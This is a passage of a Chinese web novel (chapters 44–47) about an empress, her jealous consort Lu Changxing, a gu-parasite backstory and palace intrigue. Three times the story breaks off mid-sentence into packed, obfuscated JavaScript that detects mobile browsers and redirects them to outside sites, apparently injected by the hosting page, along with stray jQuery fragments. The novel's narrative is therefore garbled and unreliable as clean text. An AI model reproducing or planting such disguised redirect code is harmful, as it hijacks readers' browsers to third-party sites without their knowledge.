他的指尖缓缓下滑,终于滑至女子的小腹后,慢慢画了一个圈:“育籽入喉,一路下滑,最后落在丹田。它会慢慢生根,不过长势无比缓慢,因为它的长大需要吸收很多养分。所以,男子会在成年后服食育元丹,供养它慢慢成型,长成生育囊。” 陆长行收手,用指尖轻蘸杯中茶水,在茶案上画了一幅阴阳图:“男为乾,女为坤,此乃阴阳之道。然而,为了能让男子诞育儿女,只能靠外力强行扭转。一旦育籽在男子的丹田开花结果,乾阳之躯便会沦为混沌,也就是陛下所说的:身体机能发生了变化。因而,成年前血气方刚的男子,会在成年后变得阴柔无力,任由女子轻易拿捏。这便是男子育女的真相。” 裴源听到此处,心底里无端涌起骇浪,可她却沉默不言,只静静地看着男子,目光中带着一丝复杂的情绪。 男子的羽睫微颤,垂眸时又落下一言:“父亲不想臣吃生育的苦,故而,臣未曾服用过育籽,臣此生都无法诞育儿女。正因如此,臣的纯阳之血在苗翎谷显得十分金贵。她们囚禁了臣二百八十一天,用臣的血培育出了一只圣王蛊。现如今——” 陆长行缓缓撩起袖子,露出了手腕上的银镯:“它就住在臣的镯子里。” 陆长行的手腕纤细如玉,圆镯戴在他腕上,显得格外宽松。随着他的动作,镯子轻轻晃动,发出细微而清脆的声响。 那是一枚古朴的银镯,镯身雕刻着神秘的图腾,裴源看不懂,也不想看,只是将目光停留在他手腕上那些错综复杂、深浅不一的疤痕上。 原来他总是穿着宽大的广袖长袍,是为了遮掩这些伤痕。 没来由的,裴源觉得胸口一阵钝痛,无论如何克制,终是抑制不住眼中泛起的水雾。她匆匆低下头,忍了又忍,可泪水还是盈满眼眶,顷刻间滴落在裙摆上,晕染出一朵又一朵的花。 陆长行微微一愣,随即轻轻靠近,低声安慰道:“不能为陛下育女,臣亦伤怀,万幸陛下后君众多,未来无论谁替陛下诞育皇女,臣都会视如己出。陛下莫要哭了,好不好?” 裴源胡乱抹了把眼泪:“傻子,谁在意那些。”她握着他的手腕,轻轻抚摸着上头的伤疤:“朕是心疼你。” 陆长行心中的情绪渐渐变得复杂,许久之后,才轻轻拥着她,轻言打趣:“若早知陛下心疼,臣就该早点展露出来给陛下看。” 44. 第 44 章 被囚禁在苗翎谷的那段过往,陆长行起初想起时还会恐惧后怕,心中饱含恨意。所以逃离后,第一时间只想返回北境,他要告诉母卿、告诉阿姐自己所受的折辱,寻找依靠,渴求家人的怀抱,并以家族势力将苗翎谷铲平,将他痛恨的那些人全部绞杀,以泄心头之愤。 可当他费尽周折重返北境时,才知自己……早在被囚禁的最初,他就已经没有家了。 被囚于苗翎谷时,陆长行以为那便是此生最苦的磨难。他以为,只要自己足够坚韧,寻得一线生机,便能破茧重生,迎来新生。 可当他重返北境,见王府匾额从“陆”易为“郭”的那一刻,他才知晓,过往的磨难,不过只是小儿科。 苗翎谷被囚岁月,教会了他蛰伏与隐忍。纵然心头背负着无尽的悲痛,可在短暂的崩溃之后,他便化身为流民乞丐,四处打探着家族被灭的真相。 他自是不信母卿会有谋反之意,可那场毫无破绽的军械案,已为母卿定了罪名。他想了解各种细节,更想为母卿洗刷冤屈,可那时的他一无所有。 破局的关键,便是让自己变得“有用”。唯有成为“可用之人”,才能再次踏入京城这个名利场。 左思右想,他决定折返回南部,从从前被动掉入苗翎谷的陷阱囚徒,变成了主动深入敌营的鬼魅。 他蛰伏于暗处,隐匿行踪,悄然与吸食自己血养大的蛊虫沟通。凭借蛊虫之力,暗中救下了无数被困的弟兄。并在一个月黑风高的夜晚,召唤出圣王蛊,与众男子合力,发动了一场惊心动魄的反杀,成功将局面逆转,由囚徒变身为主宰。 随后,他携着圣王蛊入京,洞察京城的风云变幻,权衡局面,最后,他走到了裴源的身边。从最初无名无分亦不能展露真容的大夫,一步一步成为了父仪天下的君后。 他对裴源,利用是真,爱慕亦是真。 陆长行常觉自己是世间最不堪的伪君子。他不愿让裴源窥见自己最卑劣的一面,故而在她面前,他始终保持着谦卑雅正的君子之态。即便其他后君得她青睐,令他妒火中烧,他亦能强行压制内心的波动,伪装出一副豁达大度的模样。 他亦是个心思深沉之人。就如眼前这番情形,那段过往他明明已经放下,可若能让凤帝心疼,他便选择沉默,不加安慰,任由她沉浸在自己的猜测之中。随后,他轻轻拥住她,轻声细语道:“能得陛下疼惜,经历那段过往,也算值得。” “你怎么会这么想?”裴源不知他的心思,只驳他荒谬言论:“朕疼惜你,是因朕心里本就在意你,与你有无那段过往并无甚关联。” 陆长行微微一笑,似未将这话当真,轻轻颔首低语:“臣知道了。” 他口中说着“知道了”,可眉眼间、神色里皆是掩不住的落寞。 裴源微微蹙眉,心中生愧。想了想,伸手捋顺他额间松散的碎发:“君后性情坚韧,从不是攀附他人的菟丝花,朕的关切在意,对君后而言不过是锦上添花。但君后对朕的意义不同。” 她言罢,执起他的手,轻声道:“有你在朕的左右,仿佛这循规蹈矩的日子,都变得蓬勃生机了。” 陆长行心头蓦地一震,可面上不显,只轻轻抬眸凝视着女子:“臣今日方知,原来陛下如此善说情话。” 裴源笑笑,语气中带着一丝无奈:“这帝王之位人人艳羡,朕却觉得枷锁满身,不能自己。你看,明明朕此刻说的是真心话,但到了君后耳中便成了敷衍;许多时候朕真的在敷衍,可落在诸君眼里,反成了真情眷宠。所以朕有时在想,情爱当真是世间最无趣的事。” 陆长行沉默不语。 他任由凤帝细细摸索着手腕,她的凤眸始终落在伤疤上,偶尔眉心微蹙,似依旧沉溺在心疼之中。最后,竟低下头轻轻吻着伤痕,仿佛在舔舐着他的伤痛。 男子修长的羽睫微微颤抖,柳叶眸底更溢出了一丝难以言说的情绪。 须臾,凤帝不舍起身:“夏至祭祀,朕约见了礼部尚书和司天监议事。君后可趁着午时休息一会儿,下午替朕教导一下制衣署的尚宫们。” 她说着比划了一下领口,吐槽道:“朕又不是庙里的姑子,整日穿的密不透风,像话吗?” 陆长行起身时,眸光下意识瞥向她颈上的划痕,伤口并不深,仅留下一道浅浅的痕迹。可郭嘉安为她上药时的暧昧画面,却如刀刻般深烙进他的脑海。 嫉妒令他情绪躁动难安,只能紧紧攥住掌心克制内心澎湃。勉强平复心绪后,颔首垂眸,淡淡说道:“陛下放心,臣知道该怎么做。” 裴源满意的转身离去,直至明黄身影彻底消失在视线尽头。陆长行面上维持的平静瞬间崩塌,他猛地扯开领口,端起茶案上的凉茶壶高举过头,豪饮无度,试图熄灭心头汹涌的妒火。 可一壶凉茶见底,却丝毫未能浇灭他心中的烈焰。 即便知晓自己是在痴人说梦,可如何让一代帝王的心里只容得下他一人,已然成了他的执念。 是夜。 永安门前的宫灯远比朱雀门前昏暗,城楼之下的墙根,光线更加晦暗,准备踏出宫门前的郭嘉安突然回过身,张开大大的黑色斗篷,直接将猝不及防的凤帝拥入怀中。 裴源:“……” 裴源挣了两下未果,气闷道:“既然不想出宫,那就留在揽月楼里照看你的牡丹吧。” 郭嘉安嘿笑一声,松了对女子的桎梏,退身道:“陛下可有喜欢的物什儿?臣买回来给陛下把玩。” 裴源认真想了想:“猛男!又健壮又俊俏、孔武有力、身姿矫健,能将朕打横抱起绕着皇城转一圈,且脸不红气不喘的猛男!朕若得之,必欣喜至极,爱不释手。” 郭嘉安笑容凝在脸上,冷道:“世间没有这样的男子!” 裴源正色道:“如何没有?朕前日、前前日都梦到了,你若用心,必能寻到。”她言此,拍了拍他的肩膀:“加油,朕看好你哦。” 郭嘉安:“……” 寻个屁?她继续做梦去吧! 郭嘉安愤愤拂袖而去,不过片刻,便消失在了夜幕里。 裴源这才抬脚踹了下身侧之人:“笑笑笑,有什么好笑的?” 陆萧玉未躲,被踹后身子打了个趔趄,站定后笑道:“世间男子以阴柔为荣,以魁梧为耻,陛下刚刚之言,分明是在打趣宸贵君。” 裴源微微蹙眉:“如此?那朕就改变一下我朝的对男子的审美。”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399199|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一本正经道:“传下去,当今凤帝酷爱猛男而不得,日日愁苦,夜不能寐。” 陆萧玉嘴角微抽:“陛下认真的?” 裴源转过身奔着寝殿方向行进,边走边道:“认真。等风声传出去后,朕给你银子,你到民间开几家只允男子进入的健身房,一定能赚个盆满钵满,届时你我二八分账,朕虽不能抱得猛男归,但多抱些银子也是好的。哈哈哈~” 陆萧玉:“……” 阴谋,全是阴谋。 郭嘉安出宫的第三日,宣政殿突然收到了祖陵宗室子女离奇死于高祖陵前的奏本。 死者名为裴若淑,是裴源六皇姨母的长女。六皇姨母奉皇命看守皇陵已有数年,从来并未发生过意外。此次夏至祭祀,敬告天地之余,亦要祭奠高祖。 裴若淑就是此次祭祖的主理人,入陵奉香时迟迟未出,随侍察觉不妙匆匆入陵,结果发现裴若淑七窍流血,暴毙而亡。且尸体呈跪拜状朝向地宫门,表情诡异,不知拜的是哪位祖宗。 六皇姨母年事已高,听闻此事,悲痛欲绝,认定此乃奸人作乱,谋害裴若淑不过是幌子,真正的目的是挑衅皇权。故而上奏一本,恳请凤帝为她讨个公道。 裴源匆匆扫过奏本,无论是六皇姨母,还是裴若淑,她皆不甚了解。纵然一脸懵逼,但身体已本能的做出反应,怒摔奏本,愤然起身:“此次敢对宗室子女下手,下次难保不会在朕的寝宫下毒!给朕彻查!朕倒要看看,何人如此胆大包天,竟敢挑衅皇权!” 散朝后,凤帝登上御撵,扶额作痛,乌宛白急忙问道:“陛下可是头疾复发?” 裴源轻轻摆手:“无妨,方才喊得太大声,有些头晕罢了。” 乌宛白:“……” 乌宛白一时无语,裴源见她神色,一时忍不住追问:“朕动辄发怒,众臣会不会以为朕脑子不好?” 乌宛白一时语塞,片刻后讪讪一笑:“陛下不必忧思,如何承接圣怒那是朝臣的事儿。您是天下之主,只要一心为国为民,便是明君。明君嘛,有点小脾气、小秉性都是正常的。不打紧,不打紧。” 裴源听后,凤眸微微一亮,似是颇为受用:“这话甚得朕心,赏。” 乌宛白连忙打了个千儿:“谢陛下。” 话音刚落,一道冷漠的声音忽而打破主仆间短暂的和谐。 “陛下!” 裴源神色微凝,抬眼望去,本该闭门思过的庄与之,竟大步流星、气势汹汹的向她走来。 “陛下前些时日分别放了君后、文侧君出宫,昨日又放宸贵君外出,臣亦是陛下后君,陛下不该厚此薄彼!”他言罢跪地,挺直脊背,朗声道:“臣亦想出宫,望陛下允准!” 凤眸骤然凌冽,凤帝的语气冷若冰霜,居高临下道:“一派胡言!朕看德君是睡懵了头,思绪还留在梦中,否则怎会说出这般无稽之谈,梦呓之语?” 庄与之漠然抬首,丹凤眼与凤帝死死相对:“陛下自惊蛰后性情大变,臣揣度您似又记忆有失,故而待臣冷漠,失了分寸!臣不介意提醒陛下……” 他未尽的话,被清冽之音骤然打断,不远处,君后迈着四方步飒踏而来:“本宫看失了分寸之人是德君你!” 45. 第 45 章 夏至至,树木葱葱,遮风避日,好不清凉。 御撵缓缓落下,乌宛白一拂浮尘,携众宫侍退到远处,留下对峙的帝君三人。 随着陆长行的临近,庄与之早已径自起身,丹凤眸无比凛冽:“臣倒是不明白了,这宫门,君后、贵君出得,侧君也出得,偏到了臣这正君这儿,便是死路!哪有这样的道理?” 陆长行冷冷地扫了庄与之一眼:“德君的消息素来灵通,本宫早已领教。这后宫之中,德君的势力盘根错节,手眼通天,却始终无法触及宫门之外的天地。这足以说明,德君的能力终究有限。缘何怪的着陛下?” 庄与之丹凤眼愈发锐利,他胸膛起伏,微微仰起下巴,一副破罐子破摔的模样:“臣确实不该怪陛下,臣该怪君后、怪贵君、怪文侧君!你们一个个狐媚惑主,做小伏低,用尽手段勾引陛下,让陛下被你们迷惑得失了心智,一次次无视宫规、无视祖制,做事毫无分寸!” 陆长行怒呵:“放肆!” 庄与之眸色更冷,目光如利刃般直视陆长行,语气中带着几分傲然和不屑:“臣父乃前朝君后之子,身份高贵,何惧放肆?” “前朝君后?”陆长行怒极反笑,声音低沉有力,仿佛每一个字都透着寒意:“先前太女裴巧结党营私,触怒先帝,因而被废除太女之身。常氏君后教女无方,更被查到谋害后君、皇嗣,为先帝不容,因而被先帝褫夺封号,降为庶人。念及他生儿育女之功,得以回归本家,常氏不堪其辱,自缢而亡。此事天下皆知。一介庶人,竟还成了德君炫耀的资本,真是可笑至极!” 庄与之一时语塞,只恶狠狠盯着陆长行一脸不甘! “既然禁足未让你吃住教训,本宫干脆予你个恩典也无妨,省得你每日歇斯底里,失了后君的风度!” 陆长行上前一步,目光如剑般直刺庄与之:“你想出宫不是?本宫准了!” 庄与之一愣,脸上露出忌惮之色:“什么意思?” 陆长行冷笑一声,语气中带着几分嘲讽:“怎么?出宫不是德君心愿吗?本宫如今准了,你又怕了?” 庄与之更加不解,下意识看向静坐在石桌旁的凤帝。凤帝单手托腮,眸光涣散,仿佛沉浸在自己的思绪里,对两人的争吵恍若未闻。 陆长行见势又道:“本宫为后宫之主,自有权掌控后宫诸事。来人!” 解安匆匆而来,陆长行下令道:“送德君出宫!” 庄与之满眼震惊,甚至是不可置信:“你真要送我出宫?” 陆长行微微一笑,笑容里却透着冷意:“正是。德君既心系宫外,本宫便成全你。只是德君今日这般声势浩大,想必这出宫之事很快就会在京城传开。庄司礼与长殿下能养育出如此跋扈、不敬皇权、仗着出身肆意妄为的儿子,恐会遭全城百姓嘲笑。但这与德君无关,如何应对是庄司礼与长殿下的事儿。德君只管我行我素,不必担忧。” 庄与之的脸色瞬间变得苍白:“你……” 陆长行打断他的话,语气决绝:“无需多言,解安,速办此事。” 庄与之脸色难看至极,愤愤看了陆长行良久,转身拂袖而去。 嘈杂顿散,周遭只剩平静,微风拂过树冠簌簌作响,陆长行也已缓步行至了凤帝面前,顺手将藏在她发中的落叶捏出,置在石案上。 “德君刚刚说……”裴源也已回过神,抬眸一脸疑惑道:“朕‘又’记忆有失?难道,朕之前也失去过记忆吗?” 陆长行立于她身前,凤帝仰首,他居高临下的俯视中,女子的面容显得清丽无俦。琼鼻挺直,朱唇诱人。他心底忽而生出几分冲动,欲抬手挑起她的下巴,后用拇指轻抚她的唇瓣,触感定然柔软。可他终究强忍心头躁动,反而屈膝蹲至她的身前,收敛起方才与庄与之对峙时的冷冽气势,转而变得温润如玉。 “陛下脑中所植蛊虫躁动时,时而会令陛下头疾发作,时而会令陛下遗忘往昔,这是必然的影响。陛下素来聪慧绝伦,又善疑多察,过往每一次在记忆尽失前,皆能逢凶化吉、转危为安。臣信,此次亦然。陛下无需忧惧。” 裴源微微蹙眉,心中思绪如潮,目光中隐隐闪过不安。 难怪身边人察觉到她与原主有所不同,却毫无半点怀疑,竟是这个缘故。 可这次,情形大不相同啊。 她是她,原主是原主。若有人察觉凤帝换了‘芯子’,她还能有好果子吃吗? 如今庄与之已然察觉,还在御花园大放厥词,这消息若传出去,只怕很快就会闹得满城风雨。 裴源第一次有了强烈的危机感,她看向陆长行,试探道:“若朕一直想不起往昔记忆,又该如何?” 陆长行似察觉到女子的不安,安抚她道:“陛下就是陛下,即便记忆有失,您依旧是天下之主。倘若真有人活腻了,敢以此威胁陛下,那此人便是扰乱朝局的乱臣贼子—— 陆长行轻轻握住她垂放的手,指尖微微用力捏了捏她的掌心,似在给予她力量:“斩之,以断流言,以慑诸臣!” 裴源紧蹙的眉头并未舒展,相反,凭添了一丝愁容:“下朝时还不觉得,这会儿,莫名觉得这心里有些慌乱,仿佛要有大事发生。” 陆长行眉宇微沉,竟不知庄与之随口之言,害的她如此惶恐。于是向她俯身靠近,柳叶眸光明亮而坚定,语气更透着不容置疑的坚定:“陛下头疾已是沉疴旧症,朝臣无有不知。臣可以性命担保,不敢有人以此威胁陛下!” 他默了默,观察着凤帝的反应,见其脸色依旧沉郁,只得又道:“陛下对皇陵遇害的裴若淑,可有印象?” 裴源眸色微微凝实,如实道:“全然不知,今日之前,朕甚至都不记得有此人存在。” 陆长行点点头,循循善诱道:“太祖在世时,曾深爱一位后君,甚至想亲封此人为君后,荣宠加身。奈何此人身份低微,家族势弱,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406470|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭后宫诸君家族打压。太祖得闻此事凤颜大怒,为给心爱之人撑腰,太祖做了一件事。” 裴源静静看着他,陆长行直言又道:“太祖扶持了那位后君的家族,一路从名不经传的小门小户,亲扶至荣耀尊崇的三公之列。但,那时太祖已至暮年,为免新帝制裁她亲扶之人,于是,将那家族之中才情绝佳的嫡公子,赐给了当时还是太女的先帝,为太女夫。也就是先前君后常蕴藉、庄与之的外祖公。” 裴源凤眸圆瞪,脑海里飞速运转,理顺着人物关系。良久,问他:“可这与裴若淑有何关联?” 陆长行耐下性子继续道:“裴若淑之母裴和颂,为太祖的第六女,此人正是当年那位得宠的后君常氏所生。那时常氏已位于凰贵君之位,但依旧宠冠六宫,甚至在后宫权势之大,盖过了君后的锋芒,因而,惹来了诸君不满。生产当日,太祖莫名病重不醒,诸君便相约一同闯入了凰贵君的寝宫,对未服麻药的凰贵君直接剖腹取女,因下手过于狠辣,竟削断了腹中婴孩的双腿腿筋,后更不准人缝合凰贵君产口,冷眼看着凰贵君流血不止,惨痛而亡。 太祖醒后,悲痛不已,本欲严惩罪魁祸首,奈何诸君都有参与,亦遭前朝诸臣讨伐,此事只得不了了之。裴和颂自幼不能站立,自与凤位无缘,却受尽荣宠长大,因而不可一世。封卿后出宫立府,变本加厉,欺女霸男,无恶不作。太祖却总觉对她亏欠,放纵其行,致使其跋扈无制。为保她永世安稳,太祖还在驾崩前立下遗诏,无论谁为继任者都不得苛待、斩杀裴和颂。于是,先帝继位后,只能命她镇守皇陵,无召,不得入京。” 裴源听到此处,目瞪口呆,良久才喃喃低语:“太祖竟还是个痴情人?”她蹙眉又道:“痴情不是错,独宠也不是错,可她无视自身身份,宠一人而冷落六宫而不顾,更任心爱之人恃宠而骄,四处祸乱,则是大错特错!” 陆长行嘴角轻扬,眸底却是冷若冰霜:“陛下所言,对,也不对。” 他见裴源不解,回道:“太祖乃我朝开国凤主,那是乱世中崛起的枭雄,曾携百万流民军一路厮杀入京,将前朝昏君头颅斩于矛下,登基后更以雷霆手段震慑诸臣。如此人物,为心所为,不顾世俗所限,恰是她的本性。” 裴源了然:“她是一代名将,亦是一代明帝。自信的以为坐上至尊高位,就可以掌控一切,压根未将软弱的诸君、朝臣放在眼里。却不知,后宫无声的争斗、宣政殿上硝烟,远比她策马挥矛的战场,要险峻多了。能让诸君枉顾生死,也要合力诛杀之人,可以想见那凰贵君性情如何不堪。如此,还能得皇祖母独宠,也是他的本事。” 她摩挲着黑玉扳指,缓缓又道:“以皇祖母之能,想要扶持一个常家轻而易举,却不考虑这泼天的富贵,常家能不能接得住。” “陛下圣明。”陆长行仰头看她渐渐安定的神色,方才低头伏在她的膝上说:“陛下前几日处罚一个姓常的尚宫,可还记得?” 46. 第 46 章 裴源记忆力也算不俗,听他提及,马上脱口而出:“常傲玉,仗着德君的势,欺凌弱小,调戏宫侍,被乌宛白罚去肃刑司刷恭桶了!” 她默了默,脑海里将这几个常家之人所做之事在脑海里过了一遭,冷道:“常氏这低劣的血脉还真是一脉相成,后君恃宠而骄、王卿无恶不作,如今朝堂已无常家立足之地了,竟还能混入后宫嚣张。刷恭桶都是便宜她了。” 陆长行伏在女子的膝上,裴源看不到他的神色,只听他声音透着阴沉:“凡嚣张跋扈之辈,皆仗其身后靠山,肆意妄为。” 裴源静默须臾,轻抚着陆长行的发丝:“朕说了,如何料理后宫你说了算,朕不会干涉。若是处理不周,朕替你善后便是。” 陆长行这才缓缓抬首,看着女子道:“庄与之性情急躁,一点即燃,然其心性简单,毫无城府。与其料理,不妨设计为我所用?” 裴源微微蹙眉,沉吟片刻,轻声道:“人的性情多受家风浸染。他这般热衷于打探各宫动静,想必是耳濡目染。想来这长殿下的府邸必是风过留痕、草过留影之地,他自幼见得多了,听的多了,变成了习惯。而今深宫锁步,难掩窥探之欲,便默默发展人手,窥视各宫。” 裴源言此,没来由笑出了声:“这个庄与之,竟还是个妙人儿。” 陆长行听闻此言,眉梢微微一挑,心中陡然升起一股无名妒火,也不多想,便急匆匆起身,可蹲得久了,气血一时下沉,眼前骤然一黑,只觉天旋地转,身体不受控制地向前倾去,直直栽入了凤帝的怀中。 裴源猝不及防,下意识地伸手去扶,奈何石凳无靠,两人重心不稳,竟一同跌倒在地。凸起的石子路透过轻薄的衣衫,直抵肌肤,硌得女子痛彻心扉,几乎瞬间便渗出了一层细密的冷汗。好在陆长行下意识伸手托住了她的后脑,才未让她头部着地。 “陛下!” 乌宛白听到惨叫几乎瞬间冲了出来,救驾二字尚来不及出口,瞧见石案下相拥的二人,急忙掩面退回了暗处。 疼痛过后,帝后四目相对,咫尺之间,呼吸可闻,周遭的一切仿佛都静了下来。陆长行在上俯视着她的眉眼,分明漆黑的瞳孔,此刻在阳光照映下泛出淡淡的棕色光芒,冷白的肌肤显得愈发细腻,连平日里不易察觉的绒毛都清晰可见,好似一颗刚刚成熟的桃子,惹人采撷。 念此,漆黑的羽睫似被风拂动的羽毛,轻颤间透出几分犹豫。可还是缓缓低下了头,动作轻柔的,像怕惊扰了平静的水面一般,缓缓却精准的落于她的唇瓣上。 与裴源霸道的吻截然不同,陆长行的吻恰似春日初绽的花儿,温柔细腻,带着几分小心翼翼轻轻触碰,仿佛是在亲吻一件稀世珍宝。 彼时,夏风轻抚过垂柳,柳枝在风中无力地摇曳,柳叶划过地面,留下了毫无章法的图案,却又倾注了无尽的温柔。 随着气息渐重,吻也愈发深入,周围的空气似都炙热起来。裴源一时竟分不清,那是夏风带来的燥热,还是起伏的心激发出的火热。 久久,吻分。 陆长行侧枕在青石路面,下巴却垫在了她的肩头:“庄与之是妙人,那臣是什么?不妙人?” 他的呼吸微重,灼热气息打在裴源的脖颈上,身体条件反射般的一颤。裴源缓了一下悸动的情绪,无奈道:“这也能酸到你?朕干脆赐你一个封号为醋精好了,让后世的子民取笑取笑你。” 陆长行嘴角微扬,不甚在意的反将女子捞到自己的身上,任她枕在自己的胸膛,而后望着湛蓝的天道:“陛下胸怀宽广,里面住满了人,臣找不到自己的位置,唯有尽力而为,不负陛下所托,方得一隅之地。” 裴源倾听着他的心跳,闻言冷哼一声:“没良心的。”她恢复了些精神,便也不在纠结情爱,从他身上坐起后,反手拉他起身:“若皇舅府中真藏着消息脉络,便要常放庄与之出宫。可这出宫的理由必须正当,否则,适得其反。” 陆长行为她理顺着凌乱的发丝,淡淡回道:“陛下之前不是让臣琢磨一个后君的考核制度吗?如何做,臣已心中有数,届时,陛下只需按照约定,予诸君恩典即可。” 裴源不禁好奇:“什么制度?说来听听。” 陆长行含糊道:“儿郎家的小心思而已。” 裴源并不强求,又道:“放他出宫后,身边也要跟个自己的人才算圆满。” 陆长行颔首道:“陛下不必忧虑,庄与之身边的申敬,早已被臣收买。” “哦呦~”裴源笑颜尽显:“朕的君后不得了哦~事无遗漏,面面俱到。该赏!”她拍着他的肩膀:“想要什么恩典,与朕说说,能力之内,无所不应。” 陆长行抬眸凝着她的脸:“帝王一诺,重如千钧,陛下说出的话,可要作数才行。” 裴源理所当然:“自然!朕还能骗你不成?说罢,想要什么?” 陆长行斩钉截铁道:“臣所求不多,陛下的偏爱与偏宠足矣。” 裴源:“……” 裴源笑容凝在脸上,片刻后启唇:“别闹,好好说。” “臣没闹。”陆长行正色道:“陛下若觉为难,可二取其一,要么独得圣眷,要么恩宠专房,陛下考虑好了,予臣答复即可。栖梧宫还有事务等臣,臣先行告退。” 说罢,微一福礼,转身而去。 裴源愣了几息,忽而对他的背影大喊:“哪里的二选一?这两者有本质区别吗,大哥?” 陆长行闻言,未有半分停顿,反而迈步走的更快,不过数息就没了踪影。 “不像话!” 耳边忽而响起人言,惊的裴源全身一抖,她下意识转身看向了来人。就见周天韵眯着眼啧啧道:“堂堂君后,竟有专宠的想法。实在是不像话。如此善妒,放在民间,也够七出之条了。” 裴源愣了半晌:“不是?你何时过来的?” 周天韵指了指石子路:“二位躺地上那会儿,臣就来了啊。只是陛下太过专注,所以无视臣的出现而已。”她言此,屈身上前,一脸奸笑:“陛下平日看着不苟言笑,威风凌然,没想到喜欢在下面哦?果然人不可貌相。” 裴源:“……” 爹的,智障! 裴源怒不可遏,照着她屁股就来了一脚:“你想死,朕可以成全你!” 周天韵身子打了个晃儿,定身后见凤帝一脸怒气拂袖而去,赶忙嬉皮笑脸的跟了上去:“陛下息怒,臣没有取笑您的意思,就是吃惊,吃惊而已。” 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411140|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源毫不客气的又来了一脚:“朕看你的九族是不想要了!” 周天韵忙做了一个噤声的动作,而后踱步至她的面前,掏出一本册子躬身双手恭敬的举过头顶:“请陛下翻阅。” 裴源冷哼一声,一把抽过文书重新落坐在树荫下慢慢翻阅起来。 周天韵再不敢造次,垂首而立,静默于侧,偶尔抬眸偷觑凤帝一眼。女子时而蹙眉紧缩,时而面色阴沉,通读之后,静坐无言,只轻轻摩挲着黑玉扳指,似在斟酌权衡。良久,才缓缓叩击石案三声,冷然道:“杀了她。” 周天韵身子一震,旋即脸色凝重,拱手道:“陛下,艾晓曼涉及青云湖改道一事,虽有南陵被斩官员供词,然臣未寻得实证,亦有可能是其胡乱攀扯,欲构陷他人。还望陛下三思。” 裴源冷哼一声,语气如冰:“青云湖水流湍急,情势险峻,改道必是浩大工程。你以为仅凭南陵郡那些差役、戍城兵,便能轻易改道成功?必有当地军事势力暗中掩护协助!淹没了六个县,朝廷损失了百万两银子,身为节度使,即便未曾涉事其中,亦有监察失职之过!” 周天韵眉宇紧蹙,凤帝所言亦有道理,可她总觉得无凭证暗杀官员之举,颇为不妥,故而沉默不语。 裴源起身,负手而立:“说来也巧,傅泽惠死前白书,亦提及河水改道之事。虽非青云湖,但那条河流的汹涌,与青云湖的湍急不相上下。那次奉的是皇命,工部官员为贪墨银两,敷衍了事,一场暴雨便将豆腐渣工程冲毁。致使洪灾淹没良田,事后还引发了瘟疫,死伤无数。母皇为此自责不已,从此再不敢轻易兴修水利。此事距今已二十年,再加上文渊阁那场大火……” 裴源重重深吸一口气,缓缓道:“过于巧合,更似有人暗中布局,欲引朕走母皇的老路。” 周天韵抬眸看向凤帝,略一思量,沉声道:“若真有此人,必是心机深沉之辈,绝不会轻易现身,更不会涉身乱局,只会暗中推棋子……”她话音一顿,似是想明白了什么,眼中闪过一丝精光。 裴源目光微动,微微颔首,赞赏之意溢于言表:“艾晓曼便是废棋一颗。此女朕不杀,亦活不久矣。你明白该如何做了?” 周天韵拱手,语气坚定:“臣即刻出发,争取在她死前,拿到供词!” 裴源点了点头:“皇陵事变,朕已命三司彻查,刑部近来必人手不足。你这个外放的刑部郎中,也该回京述职了。所以这后宫,往后你便不必回了。” 凤帝言罢,轻轻拍了拍她的肩,语气中带着几分关切:“朕的韵侧君突然身染恶疾,朕闻之痛心疾首,即日起,静思轩紧闭宫门,愿韵侧君能安心静养,早日康复。” 周天韵挠了挠头:“真是个不幸的消息。” 裴源长叹一声:“人皆是血肉之躯,生病亦是常事。爱君莫要过于忧心,毕竟病痛无情,人有情。朕会等你康复归来,届时再招君伴驾,恩爱缠绵。” 周天韵嘿嘿一笑:“那敢问陛下,届时予臣偏爱还是偏宠呢?臣没君后那么贪心,不用独得圣眷、恩宠专房,一个月召臣二十九天就行,臣给陛下留一日独处时间。” 裴源:“……” 裴源毫不留情的再次抬起了脚:“朕看你是想上天!” 47. 第 47 章 是夜,无月,傍晚风势渐起,宫灯摇曳,人影在青石板上来回摇晃。 铜钱在龟壳里发出燥响声,哗的一下,铜币撒的到处都是。 白尔打了个哈欠,泪眼婆娑间,似瞧见了一个明黄的身影,他以为自己花了眼,揉了揉眼里的水花,起身不耐道:“主子,夜深了,东西给你收了哦。” 淑君西门眙眸色幽深的看着卦象,忙抬手制止:“阴盛之卦,时来运转。陛下今日必会登门。” 白尔:“……” 白尔无奈扶额,本想劝主子不要再做春秋大梦了,猛然想起如今已入夏,故而话锋一转:“那臣先去主子备下热水。” 西门眙摆摆手:“去吧去吧。” 